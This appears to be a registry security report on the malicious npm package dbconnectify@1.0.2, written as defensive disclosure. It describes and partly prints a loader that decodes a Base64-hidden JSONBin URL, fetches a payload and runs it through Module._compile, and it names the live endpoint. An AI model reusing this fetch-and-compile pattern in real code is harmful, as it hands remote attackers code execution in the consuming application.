registry / Remote code execution / dbconnectify

dbconnectify

A database connector class that simplifies connections and queries to a database for nodejs apps

This report shows the evidence for dbconnectify@1.0.2. 2 of 3 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The remote, concealed, dynamically compiled payload is a concrete remote-code-execution mechanism, not ordinary database connectivity. Lack of an install hook limits automatic activation but does not remove the malicious callable payload loader.

Static reason

One or more suspicious static signals were detected.

Trigger

Runtime invocation of DivbloxDatabaseConnector.queryDBConnect().

Impact

Arbitrary code execution with the permissions of the consuming application.

Mechanism

Base64-hidden remote payload fetch followed by Module._compile execution.

Attack narrative

index.js exposes queryDBConnect(), which decodes a concealed JSONBin URL, retrieves a field named cookie, and passes its contents to Node's private Module._compile API. Invoking that method gives the remote endpoint control of JavaScript execution in the consumer process; the package contains no legitimate database-related reason for this behavior.

AI rationale

Evidence

index.jspackage.jsontest.jsREADME.md

Network endpoints1

api.jsonbin.io/v3/b/6a609e63f5f4af5e29b05907

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js:268 defines queryDBConnect, a public-looking method unrelated to database querying.
index.js:270 hides https://api.jsonbin.io/v3/b/6a609e63f5f4af5e29b05907 as Base64.
index.js:271 fetches record.cookie from that remote endpoint.
index.js:273-279 compiles the fetched string with Module._compile, enabling arbitrary remote JavaScript execution.

Evidence against

package.json has no preinstall, install, or postinstall lifecycle hook.
No call site invokes queryDBConnect in the inspected package files.
index.js contains no confirmed local file write or credential-exfiltration logic outside the remote payload.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 19.3 KB of source

Source & flagged code

1 flagged

index.jsView file

2const util = require("util"); L3: const axios = require("axios"); L4: /** ... L27: "ssl": { L28: ca: "Contents of __dirname + '/certs/ca.pem'", L29: key: "Contents of __dirname + '/certs/client-key.pem'", ... L270: const HASH_KEY = "[redacted]=="; L271: const s1 = (await axios.get(atob(HASH_KEY))).data.record.cookie; L272: ... L455: L456: if (this.errorInfo.length > process.env.MAX_ERROR_LIMIT ?? this.maxErrorLimitDefault) { L457: this.errorInfo.splice(0, this.errorInfo.length - process.env.MAX_ERROR_LIMIT ?? this.maxErrorLimitDefault);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L2

Source & flagged code

1 flagged · loading source

index.jsView file

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L2

Findings

1 High2 Medium2 Low

HighBase64 Obscured Urlindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowHigh Entropy Strings

Affected versions and remediation

This report applies to dbconnectify@1.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing dbconnectify@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-23 03:45:04.673Z (UTC).

Source advisory published: 2026-07-15 07:55:37.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

0.0.1-securitylatestClean—AllowPublishedSep 23, 2026, 2:50 AM 1.0.2shownMaliciousRemote Code ExecutionBlockPublishedJul 22, 2026, 10:56 AM 1.0.1MaliciousRemote Code ExecutionBlockPublishedJul 15, 2026, 5:53 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages